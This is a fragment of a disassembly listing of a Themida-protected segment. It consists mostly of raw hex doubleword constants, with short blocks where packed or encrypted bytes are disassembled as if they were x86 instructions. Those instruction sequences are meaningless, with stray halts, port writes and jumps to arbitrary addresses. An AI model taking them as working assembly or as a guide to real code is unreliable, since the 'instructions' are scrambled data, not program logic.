0D348A010h, 0A3F11F08h, 86C814EFh, 643A127Ch, 1BD043DFh dd 0E80C76E8h, 0A07AB59Fh, 5CC65034h, 0F078643Eh, 965C44B0h dd 8BC570C0h, 0F616CA4Eh, 86A98898h, 6094741Ch, 42F00FABh dd 7DFC195h, 0DDDC1190h, 4C0E01F3h, 0EC853463h, 0A6DEE8ABh dd 0ED303D77h, 55E9407Ah, 4FCD396Dh, 8A26B9BAh, 99F8258h dd 608FB361h, 0B10F2A06h, 753DC543h, 8D75513h, 891D7CACh dd 2D9F1742h, 2C8CA59Ch, 0D63C1801h, 0E8418591h, 0D2868DB1h dd 200612DCh, 47EDEC07h, 0EED788ABh, 0DE15D080h, 0B72F1845h dd 0B94C40E1h, 0CDDA520Eh, 3E0143Fh, 9D2FB583h, 16200038h dd 0DF743AEFh, 26283CE8h, 4AF9A83Dh, 783A26B4h, 5585BC07h dd 0DA5425C9h, 6818148Dh, 3D3C329Ch, 2885BB28h, 4C1814B8h dd 9C121320h, 0C00CCE38h, 7BA77011h, 0B55E76FDh, 0B5EAED43h dd 0C80378C1h, 9C187F0Ah, 0B1506383h, 0F0600025h, 48B77073h dd 0B6027817h, 0D4C10A76h, 0C4A44042h, 93B80BFBh, 6C087007h dd 4A2F0608h, 81E180B5h, 0B2B18718h, 0C03E6FAAh, 0C7DF0C6Bh dd 0CE64B90Bh, 203416BEh, 0DF000840h, 9EB71BAEh, 984C64DDh dd 3ED740DCh, 25FA9898h, 0CDB970Ch, 50813056h, 7E6F9C67h dd 75902E3h, 0A6DCEE95h, 25B6E048h, 0E0449814h, 0A03480BCh dd 1461410Ch, 0D0C6B40Dh, 0DC110530h, 5C9AF5E2h, 0B41110A2h dd 0FA73D450h, 192469F6h, 9B01DE89h, 5824DCB9h, 18F3093h dd 3D213CD4h, 431C4179h, 153C40B0h, 1460779Fh, 85253B18h dd 288060A3h, 12B447EAh, 0E8F73729h, 0BB88843Fh, 7C815C3Ch dd 4A001CC1h, 3E40A62Fh, 2D761F49h, 0A8DA402Ah, 2E8B34BEh dd 9EC12F12h, 0DF12D807h, 0C4C88D12h, 55E20320h, 42601ECBh dd 64E33DBAh, 583CA924h, 6F0D1A16h, 0C04110B4h, 88E34E2h dd 0CBBC24CBh, 5C3B613Dh, 7C912D8h, 9451C12Eh, 968FA207h dd 6F454F57h, 0DC527494h, 6432E813h, 744488DAh, 7A180410h dd 0DDEA80F2h, 0BD81180Eh, 6BC62087h, 371E60h, 12BC89FAh dd 0DB3B2F5Fh, 9FEE84A0h, 38885133h, 22C87836h, 251AA8C3h dd 45B1753Dh, 50442804h dd 24B408DFh, 2E543A7Dh, 0AECE0214h, 0C4415791h, 0C43D0362h dd 58C6A0C1h, 0E8A19012h, 20101941h, 851EBD18h, 333EDE96h dd 9B1AF1EDh, 0AC27C578h, 836BB880h, 0B04F0BCFh, 809BD590h dd 0C3ED58C0h, 0E9859C09h, 14204E88h, 0F08F352Fh, 9391713h dd 688F26E8h, 480A4D86h, 10DEC431h, 4B00F5DCh, 0FA00769Fh dd 1E5CB1Dh, 1C0FDE3h, 5BD907D2h, 80059E2Fh, 7D1E4328h dd 3E468CD4h, 0EF0058BAh, 4BECC59Dh, 14662F7Bh, 84A82651h dd 3F9880DCh, 7D872ED4h, 3728CFF8h, 43037826h, 0CF19659Dh dd 563642C0h, 8D870046h, 0B0F1623Eh, 59542E9Fh, 0B9692890h dd 36743948h, 17EE1020h, 2C64674Ah, 2F05F4A0h, 89F79FB4h dd 0B4007894h, 3D223CECh, 3214A07Ch, 39C024C2h, 0A8171864h dd 0C082A3F2h, 6978588h, 3A9F1A91h, 981248FDh, 0AB00CEEAh dd 0CAAF5903h, 59C1A46h, 8D8850BFh, 67F30DF8h, 0F64C6110h dd 0AB0D4A1h, 0BDEC58ECh, 0BF000499h, 0B19C7C46h, 0B738C38Ah dd 0D1C42FD5h, 301AE4E0h, 0CFF7817Dh, 34E8C0E1h, 0A7017B5Ch dd 0B4A913BDh, 0F098112Ah, 9577053h, 437E4914h, 984693CCh dd 0FCC8B151h, 1304988Fh, 470D11DCh, 83BB8330h, 0B1112F95h dd 0B624E97Ch, 3D300820h, 4B843B01h, 0C186B4B0h, 0B877EE9Ch dd 8803F7F2h, 0E6DC5499h, 1920000Eh, 0A210AE0Bh, 8C501CECh dd 0DC182EDCh, 11209751h, 0D737006Ah, 9E78BE86h, 0B17C8287h dd 0B70BD971h, 83D08DA6h, 86C52FFCh, 0E0974D91h, 0B1DC9C82h dd 0CA3B8C45h, 659C5442h, 2868C829h, 13BF1264h, 0DC204E3Eh dd 0BA68C1D2h, 20233Dh, 0E7EFDB48h, 1D74797Dh, 6E87B683h dd 0F3A607ADh, 32D40037h, 0B5028F80h, 789AA777h, 0B26461F5h dd 5F88EC4h, 96A09857h, 458D25Fh, 75F02464h, 0EEB54400h dd 6B902648h, 0F1BFAF0h, 12F83217h, 74E2E580h, 90E89D33h dd 0F83E962Ch, 0F8C9D49Bh, 112CDE5h, 7D5770BDh, 409AB49Fh dd 76F4BC8h, 0C84A64BAh, 60264062h, 808570h, 4CB848B6h dd 59522EEh, 0C8F83F26h, 9A8F4782h, 983CC638h, 2C0A474h dd 85B9AFB7h, 78493314h, 0F49421DBh, 0C33FDA41h, 1290A09Fh dd 1227333Ch, 0D7F08C74h, 0B0BBDC30h, 548DB0BAh, 0ECEE8E3h dd 0A0938F91h, 4E40ACACh, 78AF552Eh, 81267410h, 8BA2406Ch dd 0B01756A0h, 181DD555h, 0B816747Eh, 63189F58h, 707B7B8h dd 0BE8B7BA9h, 0B0CDC485h, 0A4A06840h, 1C814539h, 0D906F032h dd 88DE3C04h, 24389924h, 2D72406Eh, 28BA5B5Dh, 0C193DCE8h dd 3EB56F18h, 2B508869h, 0A249024Eh, 58486388h, 8090931Eh dd 0D937160Ch, 58A25106h, 0D1002425h, 2F51DEE6h, 0E892A819h dd 4DFA7500h, 359CB7DBh, 0F99D303Dh, 23C7DC11h, 5C3F40DDh dd 0B1D11034h, 0B0084C51h, 0C057719Fh, 6F124B68h, 8329DCE7h dd 0B060E422h, 0C915662Fh, 37007810h, 0F0EBD206h, 0FFEE5603h dd 96BF2F6Ah, 6C8A1220h, 79740180h, 14AC6Eh, 0FF3F630Bh dd 80CF8080h, 0D0B70629h, 84E781F0h, 67DCED11h, 71B3B090h dd 564500F6h, 7EEBE80Ch, 11F462D7h, 0C2896E02h, 0A01C502Fh dd 0BFB9984h, 29D8F1CEh, 82B203B8h, 4DB3B402h, 0E8685B8h dd 0DF00F892h, 0C0ADA2EBh, 1F898A87h, 3020580h, 0D43550DEh dd 38E107D3h, 0BA0840F6h, 0C29073E9h, 0A6000CF4h, 33948B3Bh dd 0FAF128CBh, 0F89104h, 305B6081h, 0E051370Eh, 41FEBF7h dd 42C9657Bh, 50780F1Fh, 0BF2AF400h, 7402DF77h, 0B0BC8424h dd 16B30F3Fh, 4CD8207h, 35041F3h, 768EC004h, 0B93EAD46h dd 9DD3161Eh, 2C045456h, 4088F137h, 12D59887h, 0E2F2305h dd 6A21BD85h, 28A3F355h, 0F3DC8F34h, 7F8510C0h, 4D50BAB6h dd 103C1CC7h, 0B95C3DC0h, 531E1158h, 78812118h, 68B90462h dd 0B602741Fh, 4084EA2Fh, 94A6CF60h, 9760ACD0h, 573401DFh dd 343F489Fh, 0EF00BB98h, 0FC94EEE9h, 252F8209h, 0D413FB70h dd 48E99AC2h, 0D3342834h, 0D73FCC01h, 77185B5h, 0A8141894h dd 8A05039Fh, 21C03469h, 19030318h, 0F3DB8BCDh, 89F027B6h dd 2C00C40Bh, 0B41E4FDAh, 2F43501h, 8206EAC2h, 0ECED7CCh dd 0C932D946h, 8C25C71Fh, 8D7F3B0Dh, 188F07C5h, 0F91F8288h dd 14464181h, 0C3E396EAh, 0FB025B80h, 51387BF0h, 825C8001h dd 77462EF3h, 0F7D2F872h, 252D3400h, 57545D01h, 2A4DE3BFh dd 30EA56D4h, 0D122925Ch, 0F43D81E4h, 951F1591h, 632341Bh dd 0BE562100h, 0C724726h, 0F919EA4Ah, 0F60E8288h, 7D57305Ah dd 0A250EE81h, 0ECF1D417h, 607438C0h, 21CE0C0Ah, 27C6F89h dd 8A3C4FCh, 4D819600h, 0DFF8620Ah, 0C74C71EAh, 733CB784h dd 6814F0B2h, 685905Fh, 3E6D695Dh, 6882FE22h, 1C0F0A1Bh dd 678EB98Ch, 0EAE3158Ah, 200165F6h, 52A0C881h, 0EBC8FE89h dd 1D8C005Ah, 0E38A5325h, 555C382h, 88060898h, 0C15D46C0h dd 5204EBh, 0C058E28Ah, 4C432F37h, 3E8823Ah, 0EA44956Eh dd 1B59E5D9h, 69FD48Bh, 0D909CC9Dh, 21E5EC8h, 0A95E5FF4h dd 0E3C212F0h, 0F8533008h, 0ED845B38h, 3D623290h, 0A4FA6C2h dd 5359001Fh, 294063BBh, 7385D65h, 351AFB00h, 44EA2E4Ah dd 310E597Dh, 60C15AF0h, 51D8F704h, 3CA778B5h, 0DD0607E5h dd 2C6D40EAh, 9E886028h, 6DC356F2h, 42E48A54h, 20A85EAh dd 14DC60FCh, 1D888E03h, 0C1B81000h, 0CD419369h, 0E04C8A18h dd 11D05A74h, 3635581h, 5B8BEA27h, 1B580A3Bh, 830C79F1h dd 0F5244375h, 601E307Eh, 0D88850A5h, 0F836CBE4h, 881008D2h dd 5425EA96h, 0AE3DF1Ch, 5391565Eh, 69588190h, 0EC7F8051h dd 0EA194860h, 0C42D4E57h, 0A694940h, 0C4B1D411h, 23EEA0Ch dd 893CC3FBh, 995903Bh, 1BD83424h, 0D050632h, 5EF845Dh dd 3500D75h, 0D807142Ah, 8A563CF9h, 40C682E6h, 0B6BA520Ah dd 8759CD60h, 0E924072Ch, 17FFE1BCh, 7334635Eh, 48B401Fh dd 0E20767A4h, 167DC281h, 0FAEA83C0h, 7F147F87h, 421C625Ch dd 0D709F817h, 2D022086h, 0D96107F8h, 5AD58818h, 638BECCCh dd 285F320Ch, 68D22433h, 9B14C99Ch, 77FF1280h, 59669D1Ch dd 1FC6D37Bh, 4AD69Ah, 0C15BD821h, 0C83108E8h, 9854523Fh dd 813C7B4Bh, 365F03EDh, 0F5010C8Ah, 880C5C2h, 74FF555Eh dd 5D04240Ch, 285C788Fh, 0FE6EC481h, 1959FE34h, 12570168h dd 54268289h, 8FEC8158h, 8C47A14h, 0D19209A8h, 22C8460Ah dd 51588318h, 7C12A3B9h, 0FFE9191Eh, 99311070h, 8B0633DCh dd 7A59B6D7h, 57986CE9h, 0DE0F684Ch, 0AA69F240h, 39822Bh dd 0AFA2FBB9h, 7DF901A3h, 51112A5Fh, 12EA82DCh, 154116Bh dd 0D7E9C440h, 5510C529h, 5DD72368h, 0D69F59BBh, 0E915C7CBh dd 2AC80AFh, 4840D1EAh, 67074066h, 1EB80A36h, 6937348Bh dd 329B608h, 3C8BFA01h, 6E404A14h, 5A94D8A9h, 16E83C75h dd 0C78D0BBh, 0FFB6BC35h, 7C123160h, 4E0C638Bh, 3ECF8385h dd 3265C8Ch, 5DAA0051h, 0DF3127FCh, 431C8B29h, 0E9F98984h dd 30ED286h, 5A205709h, 0C1A46F81h, 4065A4DCh, 210F84CEh dd 0C100047Dh, 0FBDEF09Ch, 0AB88A9E9h, 505804A6h, 507E7F68h dd 0C48134D4h, 3258360Ch, 13A6D412h, 0C9D988B1h, 0B7FD41CEh dd 0AF59A228h, 76C7C20h, 315C4C05h, 7813A212h, 84B1BECBh dd 0F657818Ch, 51274D5h, 2B6BC0DAh, 0E95612A8h, 29154EFDh dd 95440DD7h, 41FE0D51h, 0BA5A55C8h, 0E6BD066Ch, 2A5E381Ch dd 35402BEh, 77B45066h dd 58B0E588h ; --------------------------------------------------------------------------- loc_518B7C: ; CODE XREF: Themida_:00518BF7j xor dl, ch xchg eax, edx setalc test al, 65h push ebx push edx or [esi+24ADE935h], esi pusha pop ebp sub byte ptr [edi+3B9C4BA7h], 64h add [eax-41h], ecx inc eax or [eax-66h], bl das add [edi+ecx-41h], ebx enter 0FFFF8957h, 0E7h popa lock add [esi-17h], cl mov [eax+eax*8+0Ah], al xor eax, 6E61EA7h hlt ; --------------------------------------------------------------------------- dw 48BAh ; --------------------------------------------------------------------------- jmp short locret_518C27 ; --------------------------------------------------------------------------- dw 6626h db 41h, 85h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esi, edx jge short loc_518C0F outsd jnp short loc_518BE4 xor [ebx+edi*2+94F2430h], eax jg short near ptr loc_518BCF+2 dec ecx push ecx loc_518BCF: ; CODE XREF: Themida_:00518BCBj test dword ptr [eax-167EA65Ch], 0F863860Ch db 67h std js short loc_518C55 sub edi, [esi] sub ecx, eax xchg eax, ebp cmp al, 0Dh loc_518BE4: ; CODE XREF: Themida_:00518BC2j cwde db 2Eh pop dx pop eax or [ebx], edx add [ebx], ecx push eax pop es cmp al, 4Eh adc al, dl popa sub edx, ecx nop jp short loc_518B7C or [edi+58h], bh paddq mm7, qword ptr [ebp-2E1C2265h] jmp near ptr 90FC2302h ; --------------------------------------------------------------------------- dd 0A3027389h db 0FDh, 0D9h, 0D5h ; --------------------------------------------------------------------------- loc_518C0F: ; CODE XREF: Themida_:00518BBFj or [esi-55h], edx inc byte ptr [ebx] mov ebp, 7C8662FAh push edx icebp cmp bh, ch cmpsb xor dh, bh wait add esp, [eax+10003C6h] locret_518C27: ; CODE XREF: Themida_:00518BB4j retn ; --------------------------------------------------------------------------- dd 55D3F758h, 0E26DE8E9h, 0D110565Dh, 3F6E0B5h, 7EDC0DDh dd 63E7CD80h, 0F5B008E5h, 0EB482897h, 50DB1033h, 2D24C045h dd 0F2896F66h db 0E6h ; --------------------------------------------------------------------------- loc_518C55: ; CODE XREF: Themida_:00518BDBj daa dec eax push ds jbe short loc_518CB6 db 26h jns short near ptr loc_518CBA+2 adc [eax-62h], eax insd aas sbb [bx+49CAh], al push es shr edx, 0A0h leave test byte ptr [ebx-36h], 26h xor ebp, eax mov ebx, edx cmp al, 0A7h retf 68D0h ; --------------------------------------------------------------------------- db 28h, 81h, 35h dd 620CD591h, 0E18633C3h, 4ED0631h, 0F3A4755h, 0CC8B60Fh dd 8AA85051h, 96CDA611h, 1B216655h, 68004A10h, 929B5F20h dd 0E9750118h, 36E569ECh, 715F1300h, 8102115Ah ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 0B9h ; --------------------------------------------------------------------------- loc_518CB6: ; CODE XREF: Themida_:00518C58j push esp adc eax, [ecx-7Ch] loc_518CBA: ; CODE XREF: Themida_:00518C5Aj mov esi, 843F8205h add eax, 0D8B326ADh add [eax+58h], ch sub [edi+27h], eax pop edi sub eax, 4D12045Dh dec ebx add eax, edi les eax, [esi+40h] out dx, al mov ebp, 2DC4E6Ah sbb [ecx+10D6EF5h], al out dx, al call far ptr 26E9h:18C2929Ch hlt ; --------------------------------------------------------------------------- db 8Ah db 5Ch ; --------------------------------------------------------------------------- loc_518CED: ; CODE XREF: Themida_:00518D02j db 64h cmp al, 88h add dh, [ebp-707A1CC9h] add [esi+ebp+69h], ah jns short loc_518D38 xor edx, 53050393h jnz short loc_518CED fimul word ptr [edi+2FBA6803h] ; --------------------------------------------------------------------------- dw 0DB6Ch dd 0DD01D176h, 525A8650h, 26397AB2h, 80107DFEh, 8F082444h dd 7B7D7C73h, 1A721F30h, 9001C580h, 66030719h, 4920AE68h dd 0E8B0C2A0h ; --------------------------------------------------------------------------- loc_518D38: ; CODE XREF: Themida_:00518CFAj jmp near ptr 7E9CE6DFh ; --------------------------------------------------------------------------- db 44h, 0B1h, 0D5h dd 0E0E5306Eh, 212AD069h, 0F690EAh, 0D44DEDE2h, 0C283420Fh dd 2E6017Ah, 0FF6FF80Bh, 422D0F89h, 61335DEBh, 6B4319Ch dd 81FC4A0Dh, 0A56018Ch, 25293919h, 0BE3F40F0h, 3023772h dd 89E9DAF7h, 90C8C63Eh, 213B4084h, 776CCA7Fh, 2E57380Fh dd 16E0306Ah, 246C04D6h, 824A1D15h, 472698D2h, 9552EF6Fh dd 108048A2h, 81122378h, 875923EEh, 0F45C7226h, 0B69EE98Eh dd 2DD06540h, 62476884h, 414F6A7Ah, 0ED90160Bh, 0DE2D490Dh dd 0CA56DD00h, 4976B845h, 0D51E04E4h, 52F21750h, 0F9B659C1h dd 6827675Ah, 0E9D03744h, 8C18B244h, 2CA392BAh, 473B5456h dd 6B267828h, 0CA373516h, 900C76D2h, 94373908h, 0EC9D4D06h dd 16CD0502h, 94E4695Fh, 0F1A9258h, 1D313411h, 0CD933245h dd 683DA148h, 3355E905h, 0B4C7C040h, 3C779F39h, 0EF28F701h dd 9E91508h, 0BB0CE4DAh, 6E70E86Bh, 5700F3ABh, 0E2D1C209h dd 0B11F5968h, 38AFA469h, 1D6D6381h, 8307E0C1h, 15680606h dd 0C029605Dh, 125B8BBh, 0CB815F00h, 5D31486Fh, 4BDB24F7h dd 66EF04D2h, 461E8132h, 0BD38A60Eh, 0BF408D0Ch, 0BDA7FEFh dd 0FD01CEDEh, 14A6C682h, 0C16A340Ch, 2C78329h, 4F1C6057h dd 102312D4h, 0D159976Dh, 2E8F548Bh, 448331C5h, 955A0AA1h dd 505C0D0Ah, 73E7302Bh, 0AC07443Ch, 0C02604C1h, 91297002h dd 49CEC056h, 1974097Ch, 45AB61E9h, 0D393AE9Bh, 47E5D1B4h dd 0D1548E55h, 2558E9E0h, 0B14B5B9Eh, 5D9C8431h, 7446789h dd 4076AD00h, 22D4Ah, 0F75AED49h, 0E53EE9D0h, 14BC6691h dd 81F4904Eh, 621306EBh, 1D264BBFh, 1B0A6C2h, 93CB4EAh dd 7435F111h, 0C31C808Dh, 10FD2893h, 0AC3B2A17h, 21972F17h dd 4025693h, 65097081h, 0CA9298FCh, 64ABBF12h, 3CCEC8F9h dd 0F1282881h, 0F595013h, 64DD4FF9h, 348FE8B9h, 3871C137h dd 0C0ED13DBh, 6048C947h, 0B6890E4Dh, 0E915B8A2h, 491E1C18h dd 4C100278h, 68B67A7h, 8240BE50h, 33130CBDh, 0C346235Eh dd 0FC367028h, 155DEF24h, 4B1FA03Eh, 5B5C4853h, 0B1C2E4Ah dd 1459E9F0h, 810C0192h, 0E348E0E7h, 0F0CFD867h, 2EA01914h dd 0BAF1449Fh, 0E8757D0Fh, 0D8E44641h, 4BC60ED3h, 78353278h dd 0CD5CD218h, 2D1C5EF0h, 1857012Ch, 4D119A00h, 0F757B4h dd 0BEF181D1h, 19B3991h, 0CFE9C812h, 6997485h, 0DD60AEECh dd 11D18017h, 0F10162F2h, 8A1C1F0h, 200EAC5Eh, 0C84AA269h dd 0CB92E8DCh, 6F874C59h, 0A0E1F7C4h, 0B4266811h, 0BA60954Ah dd 98E91674h, 1AE2793Bh, 86291847h, 68134958h, 17314DAAh dd 0B4FC09B1h, 63D19484h, 25547F46h, 2F40B41Bh, 0B8E3F253h dd 1056822Bh, 9942E906h, 30296E8h, 0EA80C0D8h, 2E41E3D7h dd 0FFC6332Eh, 3FF6CE4Eh, 8AF9DECAh, 0C875E05h, 0F8F798CCh dd 0FD232EE9h, 87B7816Dh, 0CC04EFC0h, 0FE1D03E7h, 0BE5C80C7h dd 1EF8F7DCh, 5A6E5BFAh, 0CED1280Fh, 0C45AAEC1h, 1E8159C8h dd 8C058E06h, 1EBFDAEh, 3C8FC280h, 197C4BF2h, 89B3166Bh dd 20817582h, 95220D39h, 0D7F7184Bh, 0E9558AC1h, 0A2FE9337h dd 8105E390h, 653C09EBh, 710037BCh, 6DAC0FC4h, 509066B8h dd 0A05B0881h, 5CBB9F1Eh, 9B89A2A5h, 0CC95A8CEh, 9017C489h dd 0C4FABDA2h, 0C4E7891Ah, 0EFC93232h, 0B23C8710h, 0AE5CD4ECh dd 2D664078h, 945ED60Eh, 0A170A049h, 9150414Eh, 64C50800h dd 58C22900h, 1737F281h, 45567A17h, 71552555h, 65ACA3h dd 0B904C683h, 0BE0F0928h, 62168D02h, 71F09372h, 0F750FC0Ch dd 134ACDFh, 1AF038Eh, 28875FF8h, 0E8C18198h, 71D2310Bh dd 0E1614E30h, 0D832BB53h, 5AC1269Ah, 529B591Fh, 0CD48740h dd 426340ABh, 5B183C03h, 3A5FFB01h, 1E0C872Ah, 81120934h dd 7E6EE305h, 0DE141977h, 115601C8h, 0B3E9D901h, 0D150F23Ch dd 3946B00Dh, 4E4C5851h, 0A94B5988h, 41892ECh, 0EE825482h dd 0A5C112C6h, 58D8265Bh, 8DDBC4D4h, 5A2600A2h, 1312CE24h dd 8A0C0161h, 3476E2E9h, 2117986Bh, 0A60C2D5Ch, 90E5598Bh dd 0BB96B133h, 5E812C40h, 0C119ACh, 7F3E581h, 45902FD3h dd 73FBC200h, 0E9EB29DCh, 37455C15h, 0CDA109DEh, 655121A2h dd 0EEBEA82Ch, 2AE02540h, 0F1F3DB9Bh, 3C59CDA9h, 0BA52A096h dd 2C360145h, 8BD0014Dh, 0E9114C14h, 6721E824h, 0D036F281h dd 2CBE0351h, 89E1EA9Ah, 9C288D11h, 0D7EE8A40h, 4A186363h dd 527233BEh, 0B206C626h, 6A3196B3h, 963A0D06h, 0DDCC91FEh dd 3CBF35CCh, 8A3D8A0Ch, 7A1AF2A8h, 0BADF3647h, 459A4950h dd 0FF195975h, 4142BA73h, 5B43E91Bh, 0C579A269h, 41B4A8BAh dd 60973573h, 0BDB13B8Bh, 21685283h, 9C1DDA76h, 3C0522ABh dd 0BC45C500h, 0E889F02Bh, 0C6012C5Dh, 8719A0D5h, 0A0E98493h dd 85FE8983h, 17D96830h, 0D9867D51h, 841583C4h, 84D12542h dd 0B04C4DE3h, 3D51200Dh, 5243E41h, 5CA2FE5Ch, 0AE80FD46h dd 0C123114Ch, 4D02ED1Dh, 12F8E514h, 0AB37359Dh, 444C782h dd 0D328CC8Fh, 29EE51FBh, 106E2621h, 5F27DB39h, 0E8E56222h dd 5257110Ch, 0B8495F54h, 24BA1DDh, 6AF824h, 0B342EDBFh dd 0E7C10F0Ch, 90470702h, 3E790083h, 0B8501237h, 0B11E333Ah dd 67412541h, 0BAE91B3Dh, 0CE17F739h, 3F410159h, 0F8286640h dd 0F2BA251Dh, 0C92DF802h, 60045B73h, 125AC567h, 140F746Eh dd 4A1686EBh, 0EA55876Dh, 121C3408h, 89979014h, 2AFEE9E6h dd 0C1F3F1ACh, 0F5ED802Bh, 0ECB62CA5h, 985DF889h, 0FEFB068Bh dd 0A6094594h, 8BF878A0h, 8B24CB3Ch, 0A7ECE9F5h, 20766827h dd 0CC54550Ah, 0B12694F8h, 33CB000Dh, 0F78171CAh, 28160C71h dd 0B5104F0Eh, 783F00B2h, 0FE898AF8h, 0C6E9165Fh, 3039898Dh dd 0F015906h, 99BD7023h, 0F0804415h, 83616EEDh, 0DD482947h dd 365E33AFh, 0BEBA4858h, 3BA9518Fh, 0EAD16C23h, 840FC2B0h dd 0A27E2925h, 93E827Dh, 0A8E2DB8Eh, 0ADE193C7h, 554534DEh dd 3A06E3A0h, 0BD0EF407h, 41A1A5F0h, 2538C529h, 53C0BECEh dd 73E966AAh, 2D04BCBAh, 40A95D03h, 3F84DB94h, 0F329B1D0h dd 0C7DE7231h, 0F3505B09h, 1E4B74FBh, 0E14CB85Eh, 880C1349h dd 31811F21h, 0E7334A20h, 0D0961989h, 323C30ADh, 71327C63h dd 0F03419D2h, 48267355h, 972A4473h, 1468769Bh, 0C10C1A4Eh dd 14509474h, 2603BF4Ah, 436C0150h, 0A5E30FE9h, 3F3B221Ah dd 7A2C4E4h, 738A7B50h, 0A6A5CF01h, 5C7FCC4Ch, 0FE46825h dd 252FE4A3h, 2D7E1253h, 2352068h, 9C03E988h, 0EB8007F0h dd 0D08F85B2h, 3B90B875h, 2D374CFEh, 7DF20B8Ch, 0A9DBA953h dd 0E9553811h, 0C59699h, 16060559h, 0B5920E01h, 0D5E90780h dd 24C10F49h, 6B007BC6h, 5508191Dh, 0EEBE0056h, 0BD5FA952h dd 165FCD02h, 0E55ECD09h, 28BA1C6Fh, 0CFEA0169h, 0E93CDD63h dd 2D023C84h, 0A8C82805h, 0E950C3AEh, 833140C1h, 0B70D16DEh dd 0A128103Dh, 8004EDA7h, 80D5F658h, 778691C5h, 8D46FE5h dd 0A42AA3C4h, 62E1A289h, 36207DD1h, 44681367h, 0CC9AC977h dd 47A805E0h, 4BB18ACCh, 0C372FBCh, 7B82F6Fh, 50650974h dd 7ABB012Dh, 20932134h, 315C1A9Bh, 9903D082h, 5C0271D4h dd 0F9DF8196h, 6A77E91Dh, 62A00C2Ch, 4E55B137h, 746A4991h dd 0D30FF6C3h, 366DA88h, 27D2B753h, 0E513E2BEh, 889DC09Bh dd 0C4A8B47h, 0E90910DFh, 0E56403B3h, 0BC2A5C60h, 0B6EFB963h dd 0CD310D19h, 21695C4Ch dd 0C173AA98h, 2571074Ch, 3EFF19E5h, 8B60A354h, 5CCE6859h dd 0E9C4C807h, 40B4E135h, 184E37CBh, 3124617Bh, 75A8CAF7h dd 502B6817h, 5C8D98Ch, 0E970320Fh, 79D8E1C0h, 0A9CDD7F8h dd 0DD5E3020h, 872A8C67h, 0C1375A0Ch, 0E394BCE2h, 9691EC14h dd 0F39A0D92h, 2561601Eh, 0E7803DD6h, 2D087904h, 910613Ch dd 0F0BE80E0h, 0B98D2DC5h, 0BA812434h, 5266019Bh, 2C92B050h dd 0B101F1F0h, 0C00BF75Fh, 4019EC30h, 772BFF2Fh, 5812A828h dd 0C02C2E69h, 2AB468C2h, 0D404759h, 41745h, 26F38143h dd 0F749D329h, 23EBE0E7h, 198B201Fh, 0E92CB83h, 28C62Eh dd 0B8BE7FB2h, 0E95BD901h, 0CCCB8633h, 0E886054Bh, 0F240CD4Fh dd 3300929Bh, 7DB1B3Bh, 8EE0FC1h, 0A715B8E9h, 4F58CD03h dd 40D90F7Bh, 0EF398BF4h, 2521055Dh, 0FB53815Eh, 0E3E42B5Eh dd 29E37CEAh, 0B2C402C3h, 57593050h, 0E9513C71h, 0B76335CDh dd 0CA0F7209h, 0E182B40Dh, 0F539816Dh, 40047391h, 0AAE69898h dd 0B3005350h, 5BDC885Eh, 0F47B551h, 0F659EC08h, 6E4C020h dd 1C01B652h, 805AF428h, 0E1D8DBC4h, 2CCFF58h, 75D175F6h dd 0C1FE1CE9h, 2C208580h, 16278443h, 0B1A806D1h, 3092EA4h dd 595279E9h, 48551E7Fh, 0AD127D14h, 3B844212h, 1FDD6EF0h dd 12193A5Bh, 0D9305668h, 520F8161h, 0EAC060B2h, 0F9A4CD41h dd 35F1438Eh, 60B65547h, 653AAE1h, 0C105C8B8h, 96FBEFDAh dd 756FA602h, 99A64179h, 1B54374h, 4EDC032h, 3012F580h dd 8EA05758h, 0CD4CFE0Fh, 66B35E6h, 0E0E65881h, 69A70A5h dd 33903871h, 78253125h, 561700C7h, 555C9CCBh, 25311497h dd 6C00FAE9h, 5A1BB668h, 988B4C25h, 944ED9BDh, 78BB691Fh dd 0E9546E05h, 31F41C85h, 6821F95Ah, 0A02850ECh, 3DD3EB54h dd 6BBEFB55h, 5BC11FD8h, 0BFDA2958h, 0D99D939Dh, 8C782623h dd 74D669BCh, 51B1F217h, 949268D6h, 0E95104BBh, 22B35F75h dd 4012852Ch, 80CFFEDFh, 601EF30h, 2DF82832h, 0BE0015E9h dd 88DAB450h, 1B209FB0h, 0B55E5882h, 94997F27h, 35FCBA56h dd 3D03B2DDh, 0AFC9FE06h, 8716B7BEh, 35839C26h, 9710D101h dd 0FB1682DFh, 0BF1085ACh, 0B5CD0601h, 5FFD31CFh, 6420EBEDh dd 24DEEDh, 0F681DEF7h, 0C724B543h, 0AC120B26h, 0F612E585h dd 433DA86Dh, 0FA611D4Eh, 0C67D224Bh, 1302A3B1h, 0F2D4BDE9h dd 4290B288h, 1E1C2C77h, 0CE578B03h, 0EC4F5Fh, 58E230E9h dd 0C90ECA80h, 0BDFEEAD0h, 88AEF2C0h, 5B5FE9D5h, 1D33413Ah dd 2B71B633h, 0EB4B640Fh, 7AD562B4h, 0C9E5B170h, 2EB4E849h dd 0B25F8109h, 904FF05Ah, 88ED9157h, 56F7EE4h, 75CC7C85h dd 52D02588h, 0C59F78E5h, 8259EE89h, 0D40416Eh, 298A41ACh dd 52570044h, 4E170068h, 815A22B4h, 301D87F2h, 0CA8173D0h dd 60AB10CDh, 7C141886h, 0A4203E1Ch, 0CC80096Bh, 5C8366D6h dd 0E5BF305Ch, 5ABAF00Fh, 0A2C62924h, 5703C08h, 0CD041D68h dd 69E6CD0Ch, 5DC58545h, 16B601D8h, 50E759h, 9F39371Eh dd 0C124450Ah, 0FC084EEDh, 665B13F3h, 9AB00D1Dh, 7EBFD940h dd 6AAE1228h, 0D6DE0489h, 0B4FAF46Dh, 22040E01h, 8105EAC1h dd 0A8B290CFh, 0D68905DAh, 0F70F73E9h, 41444B41h, 0B4CC8AC1h dd 92D54808h, 6F2B184h, 400E97B5h, 0BB0E2CDAh, 9304D828h dd 17589108h, 3E0E0366h, 0AEB7C530h, 2BE9E803h, 0C3805D02h dd 65D98846h, 220A67Ch, 0DC7AE9FFh, 5165D45Eh, 2E99FE84h dd 0BF890E5Dh, 0BA96147Bh, 82EADC20h, 0F9D5E278h, 504C0879h dd 57AB4827h, 692609BFh, 80DA613Dh, 77740A30h, 26759EF5h dd 9F2A3Ch, 0C98F33E2h, 5D4CEE01h, 2B720B03h, 0B8BE00A4h dd 12168D6h, 1AEA053Dh, 0D42D3782h, 2303FB58h, 8FE9D8F7h dd 0BD58032Ch, 4F1163C8h, 6141560Ch, 94F79C26h, 9D581B27h dd 770828C9h, 0AB4B7AD3h, 219A1784h, 9985295Dh, 4ADAA33Fh dd 93C29BC7h, 887B5446h, 